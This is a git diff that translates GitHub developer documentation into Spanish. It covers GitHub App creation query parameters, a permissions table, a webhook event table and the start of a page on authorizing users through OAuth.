+ | `webhook_active`                                   | `boolean`                | Configurar como `false` para inhabilitar el webhook. El webhook se encuentra habilitado predeterminadamente.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+ | `webhook_url`                                      | `secuencia`              | La URL completa a la cual quisieras enviar cargas útiles de eventos de webhook.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+ | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `secuencia`              | Puedes especificar un secreto para asegurar tus webhooks. Consulta la sección "[Asegurar tus webhooks](/webhooks/securing/)" para obtener más detalles.                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+ | {% endif %}`events`                                | `conjunto de secuencias` | Eventos de webhook. Algunos eventos de webhook requieren asignar permisos de `read` o de `write` a un recurso antes de que puedas seleccionar el evento cuando registras una {% data variables.product.prodname_github_app %} nueva. Consulta la sección "[Eventos de webhook de las {% data variables.product.prodname_github_app %}](#github-app-webhook-events)" para encontrar los eventos disponibles y sus permisos requeridos. Puedes seleccionar eventos múltiples en una secuencia de consulta. Por ejemplo, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
+ | `dominio`                                          | `secuencia`              | La URL de una referencia de contenido.{% endif %}
+ | `single_file_name`                                 | `secuencia`              | Este es un permiso con alcance corto que permite a la app acceder a un solo archivo en cualquier repositorio. Cuando configuras el permiso de `single_file` en `read` o `write`, este campo proporciona la ruta al archivo único que administrará tu {% data variables.product.prodname_github_app %}. {% ifversion fpt or ghes or ghec %} Si necesitas administrar varios archivos, consulta la opción `single_file_paths` a continuación. {% endif %}{% ifversion fpt or ghes or ghec %}
+ | `single_file_paths`                                | `conjunto de secuencias` | Esto permite a la app acceder hasta a 10 archivos especificos en un repositorio. Cuando configuras el permiso `single_file` en `read` o `write`, este arreglo puede almacenar las rutas de hasta diez archivos que administrará tu {% data variables.product.prodname_github_app %}. Estos archivos reciben el mismo permiso que se configuró para `single_file`, y no tienen permisos individuales por separado. Cuando dos o mas archivos se configuran, la API devuelve `multiple_single_files=true`, de lo contrario, devuelve `multiple_single_files=false`.{% endif %}
 
-## {% data variables.product.prodname_github_app %} permissions
+## Permisos de la {% data variables.product.prodname_github_app %}
 
-You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission.
+Puedes seleccionar los permisos en una secuencia de consulta utilizando los nombres de permiso conforme en la siguiente tabla a manera de nombres de parámetro de consulta y usando el tipo de permiso como el valor de la consulta. Por ejemplo, para seleccionar los permisos de `Read & write` en la interface de usuario para `contents`, tu secuencia de consulta incluiría `&contents=write`. Para seleccionar los permisos de `Read-only` en la interface de usuario para `blocking`, tu secuencia de consulta incluiría `&blocking=read`. Para seleccionar `no-access` en la interface de usuario para las `checks`, tu secuencia de consulta no incluiría el permiso `checks`.
 
-Permission | Description
----------- | -----------
-[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`.{% ifversion ghes < 3.4 %}
-`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`.{% endif %}
-[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) |  Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`.
-[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %}
-[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`.
-[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`.
-[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`.
-[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`.
-[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) |  Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}.
-[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`.
-`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`.
-[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %}
-[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`.
-`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`.
-[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`.
-[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`.
-[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %}
-[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) |  Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
-[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) |  Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`.
-[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`.
-[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`.
-[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %}
-`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`.
+| Permiso                                                                                                                          | Descripción                                                                                                                                                                                                                                                                                                                                      |
+| -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| [`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration)                           | Otorga acceso a diversas terminales para la administración de organizaciones y repositorios. Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghec %}
+| [`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking)                                       | Otorga acceso a la [API de Bloqueo de Usuarios](/rest/reference/users#blocking). Puede ser uno de entre `none`, `read`, o `write`.{% endif %}
+| [`verificaciones`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks)                                   | Otorga acceso a la [API de verificaciones](/rest/reference/checks). Puede ser uno de entre `none`, `read`, o `write`.{% ifversion ghes < 3.4 %}
+| `content_references`                                                                                                             | Otorga acceso a la terminal "[Crear un adjunto de contenido](/rest/reference/apps#create-a-content-attachment)". Puede ser uno de entre `none`, `read`, o `write`.{% endif %}
+| [`contenidos`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents)                                     | Otorga acceso a diversas terminales que te permiten modificar el contenido de los repositorios. Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                |
+| [`implementaciones`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments)                            | Otorga acceso a la [API de despliegues](/rest/reference/repos#deployments). Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghes or ghec %}
+| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails)                                           | Otorga acceso a la [API de Correos electrónicos](/rest/reference/users#emails). Puede ser uno de entre `none`, `read`, o `write`.{% endif %}
+| [`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers)                                     | Otorga acceso a la [API de Seguidores](/rest/reference/users#followers). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                       |
+| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys)                                       | Otorga acceso a la [API de Llaves GPG](/rest/reference/users#gpg-keys). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                        |
+| [`propuestas`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues)                                       | Otorga acceso a la [API de Informe de problemas](/rest/reference/issues). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                      |
+| [`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys)                                               | Otorga acceso a la [API de Llaves Públicas](/rest/reference/users#keys). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                       |
+| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members)                                         | Otorga acceso para administrar los miembros de una organización. Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghec %}
+| [`metadatos`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions)                                        | Otorga acceso a las terminales de solo lectura que no filtran datos sensibles. Puede ser `read` o `none`. Su valor predeterminado es `read` cuando configuras cualquier permiso, o bien, `none` cuando no especificas ningún permiso para la {% data variables.product.prodname_github_app %}.                                                 |
+| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Otorga acceso a la terminal "[Actualizar una organización](/rest/reference/orgs#update-an-organization)" y a la [API de Restricciones de Interacción en la Organización](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Puede ser uno de entre `none`, `read`, o `write`.{% endif %}
+| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks)                   | Otorga acceso a la [API de Webhooks de la Organización](/rest/reference/orgs#webhooks/). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                       |
+| `organization_plan`                                                                                                              | Otorga acceso para obtener información acerca del plan de una organización que utilice la terminal "[Obtener una organización](/rest/reference/orgs#get-an-organization)". Puede ser uno de entre `none` o `read`.                                                                                                                               |
+| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)             | Otorga acceso a la [API de Proyectos](/rest/reference/projects). Puede ser uno de entre: `none`, `read`, `write`, o `admin`.{% ifversion fpt or ghec %}
+| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)        | Otorga acceso a la [API de Bloqueo de Usuarios de la Organización](/rest/reference/orgs#blocking). Puede ser uno de entre `none`, `read`, o `write`.{% endif %}
+| [`páginas`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages)                                           | Otorga acceso a la [API de páginas](/rest/reference/repos#pages). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                              |
+| `plan`                                                                                                                           | Otorga acceso para obtener información acerca del plan de GitHub de un usuario que utilice la terminal "[Obtener un usuario](/rest/reference/users#get-a-user)". Puede ser uno de entre `none` o `read`.                                                                                                                                         |
+| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests)                             | Otorga acceso a varias terminales de solicitud de extracción. Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                                  |
+| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks)                       | Otorga acceso a la [API de Webhooks del Repositorio](/rest/reference/repos#hooks). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                             |
+| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects)                 | Otorga acceso a la [API de Proyectos](/rest/reference/projects). Puede ser uno de entre: `none`, `read`, `write`, o `admin`.{% ifversion fpt or ghes > 3.0 or ghec %}
+| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts)           | Otorga acceso a la [API de escaneo de secretos](/rest/reference/secret-scanning). Puede ser uno de entre: `none`, `read`, o `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
+| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events)                         | Otorga acceso a la [API de escaneo de código](/rest/reference/code-scanning/). Puede ser uno de entre `none`, `read`, o `write`.{% endif %}
+| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file)                                 | Otorga acceso a la [API de Contenidos](/rest/reference/repos#contents). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                        |
+| [`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring)                                       | Otorga acceso a la [API de marcar con estrella](/rest/reference/activity#starring). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                            |
+| [`estados`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses)                                        | Otorga acceso a la [API de Estados](/rest/reference/repos#statuses). Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                                           |
+| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions)                       | Otorga acceso a la [API de debates de equipo](/rest/reference/teams#discussions) y a la [API de comentarios en debates de equipo](/rest/reference/teams#discussion-comments). Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `vulnerability_alerts`                                                                                                           | Otorga acceso para recibir alertas de seguridad para las dependencias vulnerables en un repositorio. Consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" para aprender más. Puede ser uno de entre: `none` o `read`.{% endif %}
+| `observando`                                                                                                                     | Otorga acceso a la lista y cambia los repositorios a los que un usuario está suscrito. Puede ser uno de entre `none`, `read`, o `write`.                                                                                                                                                                                                         |
 
-## {% data variables.product.prodname_github_app %} webhook events
+## Eventos de webhook de {% data variables.product.prodname_github_app %}
 
-Webhook event name | Required permission | Description
------------------- | ------------------- | -----------
-[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %}
-[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %}
-[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
-[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
-[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %}
-[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %}
-[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %}
-[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %}
-[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %}
-[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %}
-[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %}
-[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %}
-[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %}
-[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %}
-[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %}
-[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
-[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
-[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %}
-[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %}
-[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %}
-[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
-[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
-[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %}
-[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %}
-[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %}
-[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
-[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %}
-[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %}
-[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
-[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %}
-[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %}
-[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %}
-[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %}
-[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %}
+| Nombre del evento de webhook                                                                                 | Permiso requerido                               | Descripción                                                                                         |
+| ------------------------------------------------------------------------------------------------------------ | ----------------------------------------------- | --------------------------------------------------------------------------------------------------- |
+| [`check_run`](/webhooks/event-payloads/#check_run)                                                           | `verificaciones`                                | {% data reusables.webhooks.check_run_short_desc %}
+| [`check_suite`](/webhooks/event-payloads/#check_suite)                                                       | `verificaciones`                                | {% data reusables.webhooks.check_suite_short_desc %}
+| [`comentario_confirmación de cambios`](/webhooks/event-payloads/#commit_comment)                             | `contenidos`                                    | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
+| [`content_reference`](/webhooks/event-payloads/#content_reference)                                           | `content_references`                            | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
+| [`create (crear)`](/webhooks/event-payloads/#create)                                                         | `contenidos`                                    | {% data reusables.webhooks.create_short_desc %}
+| [`delete`](/webhooks/event-payloads/#delete)                                                                 | `contenidos`                                    | {% data reusables.webhooks.delete_short_desc %}
+| [`deployment`](/webhooks/event-payloads/#deployment)                                                         | `implementaciones`                              | {% data reusables.webhooks.deployment_short_desc %}
+| [`deployment_status`](/webhooks/event-payloads/#deployment_status)                                           | `implementaciones`                              | {% data reusables.webhooks.deployment_status_short_desc %}
+| [`bifurcación`](/webhooks/event-payloads/#fork)                                                              | `contenidos`                                    | {% data reusables.webhooks.fork_short_desc %}
+| [`gollum`](/webhooks/event-payloads/#gollum)                                                                 | `contenidos`                                    | {% data reusables.webhooks.gollum_short_desc %}
+| [`propuestas`](/webhooks/event-payloads/#issues)                                                             | `propuestas`                                    | {% data reusables.webhooks.issues_short_desc %}
+| [`comentario_propuesta`](/webhooks/event-payloads/#issue_comment)                                            | `propuestas`                                    | {% data reusables.webhooks.issue_comment_short_desc %}
+| [`etiqueta`](/webhooks/event-payloads/#label)                                                                | `metadatos`                                     | {% data reusables.webhooks.label_short_desc %}
+| [`miembro`](/webhooks/event-payloads/#member)                                                                | `members`                                       | {% data reusables.webhooks.member_short_desc %}
+| [`membership`](/webhooks/event-payloads/#membership)                                                         | `members`                                       | {% data reusables.webhooks.membership_short_desc %}
+| [`hito`](/webhooks/event-payloads/#milestone)                                                                | `solicitud_extracción`                          | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
+| [`org_block`](/webhooks/event-payloads/#org_block)                                                           | `organization_administration`                   | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
+| [`organization`](/webhooks/event-payloads/#organization)                                                     | `members`                                       | {% data reusables.webhooks.organization_short_desc %}
+| [`page_build`](/webhooks/event-payloads/#page_build)                                                         | `páginas`                                       | {% data reusables.webhooks.page_build_short_desc %}
+| [`project`](/webhooks/event-payloads/#project)                                                               | `repository_projects` u `organization_projects` | {% data reusables.webhooks.project_short_desc %}
+| [`project_card`](/webhooks/event-payloads/#project_card)                                                     | `repository_projects` u `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
+| [`project_column`](/webhooks/event-payloads/#project_column)                                                 | `repository_projects` u `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
+| [`public`](/webhooks/event-payloads/#public)                                                                 | `metadatos`                                     | {% data reusables.webhooks.public_short_desc %}
+| [`solicitud_extracción`](/webhooks/event-payloads/#pull_request)                                             | `pull_requests`                                 | {% data reusables.webhooks.pull_request_short_desc %}
+| [`revisión_solicitud de extracción`](/webhooks/event-payloads/#pull_request_review)                          | `solicitud_extracción`                          | {% data reusables.webhooks.pull_request_review_short_desc %}
+| [`comentarios _revisiones_solicitudes de extracción`](/webhooks/event-payloads/#pull_request_review_comment) | `solicitud_extracción`                          | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
+| [`subir`](/webhooks/event-payloads/#push)                                                                    | `contenidos`                                    | {% data reusables.webhooks.push_short_desc %}
+| [`lanzamiento`](/webhooks/event-payloads/#release)                                                           | `contenidos`                                    | {% data reusables.webhooks.release_short_desc %}
+| [`repositorio`](/webhooks/event-payloads/#repository)                                                        | `metadatos`                                     | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
+| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch)                                       | `contenidos`                                    | Permite que los integradores que utilizan GitHub Actions activen eventos personalizados.{% endif %}
+| [`estado`](/webhooks/event-payloads/#status)                                                                 | `estados`                                       | {% data reusables.webhooks.status_short_desc %}
+| [`equipo`](/webhooks/event-payloads/#team)                                                                   | `members`                                       | {% data reusables.webhooks.team_short_desc %}
+| [`team_add`](/webhooks/event-payloads/#team_add)                                                             | `members`                                       | {% data reusables.webhooks.team_add_short_desc %}
+| [`observar`](/webhooks/event-payloads/#watch)                                                                | `metadatos`                                     | {% data reusables.webhooks.watch_short_desc %}
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app.md b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app.md
index 828884e0cb..e78204baed 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app.md
@@ -2,8 +2,8 @@
 title: Crear una GitHub App
 intro: '{% data reusables.shortdesc.creating_github_apps %}'
 redirect_from:
-  - /early-access/integrations/creating-an-integration/
-  - /apps/building-integrations/setting-up-and-registering-github-apps/registering-github-apps/
+  - /early-access/integrations/creating-an-integration
+  - /apps/building-integrations/setting-up-and-registering-github-apps/registering-github-apps
   - /apps/building-github-apps/creating-a-github-app
   - /developers/apps/creating-a-github-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
index cc15507cf3..cee3a6c9cb 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
@@ -1,9 +1,9 @@
 ---
-title: Identifying and authorizing users for GitHub Apps
+title: Identificar y autorizar usuarios para las GitHub Apps
 intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}'
 redirect_from:
-  - /early-access/integrations/user-identification-authorization/
-  - /apps/building-integrations/setting-up-and-registering-github-apps/identifying-users-for-github-apps/
+  - /early-access/integrations/user-identification-authorization
+  - /apps/building-integrations/setting-up-and-registering-github-apps/identifying-users-for-github-apps
   - /apps/building-github-apps/identifying-and-authorizing-users-for-github-apps
   - /developers/apps/identifying-and-authorizing-users-for-github-apps
 versions:
@@ -13,88 +13,89 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Identify & authorize users
+shortTitle: Identificar & autorizar usuarios
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
-When your GitHub App acts on behalf of a user, it performs user-to-server requests. These requests must be authorized with a user's access token. User-to-server requests include requesting data for a user, like determining which repositories to display to a particular user. These requests also include actions triggered by a user, like running a build.
+Cuando tu GitHub App actúe en nombre de un usuario, ésta realiza solicitudes de usuario a servidor. Estas solicitudes deben autorizarse con un token de acceso de usuario. Las solicitudes de usuario a servidor incluyen el solicitar datos para un usuario, como el determinar qué repositorios mostrar a un usuario en particular. Estas solicitudes también incluyen las acciones que activa un usuario, como ejecutar una compilación.
 
 {% data reusables.apps.expiring_user_authorization_tokens %}
 
-## Identifying users on your site
+## Identificar usuarios en tu sitio
 
-To authorize users for standard apps that run in the browser, use the [web application flow](#web-application-flow).
+Para autorizar a los usuarios para las apps estándar que se ejecutan en el buscador, utiliza el [flujo de aplicaciones web](#web-application-flow).
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-To authorize users for headless apps without direct access to the browser, such as CLI tools or Git credential managers, use the [device flow](#device-flow). The device flow uses the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628).
+Para autorizar a los usuarios para apps sin interfaz gráfica sin acceso directo al buscador, tales como las herramientas de CLI o administradores de credenciales de Git, utiliza el [flujo del dispositivo](#device-flow). El flujo de dispositivos utiliza el [Otorgamiento de Autorizción de Dispositivos](https://tools.ietf.org/html/rfc8628) de OAuth 2.0.
 
 {% endif %}
 
-## Web application flow
+## Flujo de aplicaciones Web
 
-Using the web application flow, the process to identify users on your site is:
+Al utilizar el flujo de aplicaciones web, el proceso para identificar a los usuarios en tu sitio es:
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your GitHub App accesses the API with the user's access token
+1. Se redirecciona a los usuarios para solicitar su identidad de GitHub
+2. GitHub redirecciona a los usuarios de vuelta a tu sitio
+3. Tu GitHub App accede a la API con el token de acceso del usuario
 
-If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, step 1 will be completed during app installation. For more information, see "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)."
+Si seleccionas **Solicitar la autorización del usuario (OAuth) durante la instalación** cuando crees o modifiques tu app, el paso 1 se completará durante la instalación de la misma. Para obtener más información, consulta la sección "[Autorizar usuarios durante la instalación](/apps/installing-github-apps/#authorizing-users-during-installation)".
 
-### 1. Request a user's GitHub identity
-Direct the user to the following URL in their browser:
+### 1. Solicita la identidad de un usuario de GitHub
+Dirige al usuario a la siguiente URL en su buscador:
 
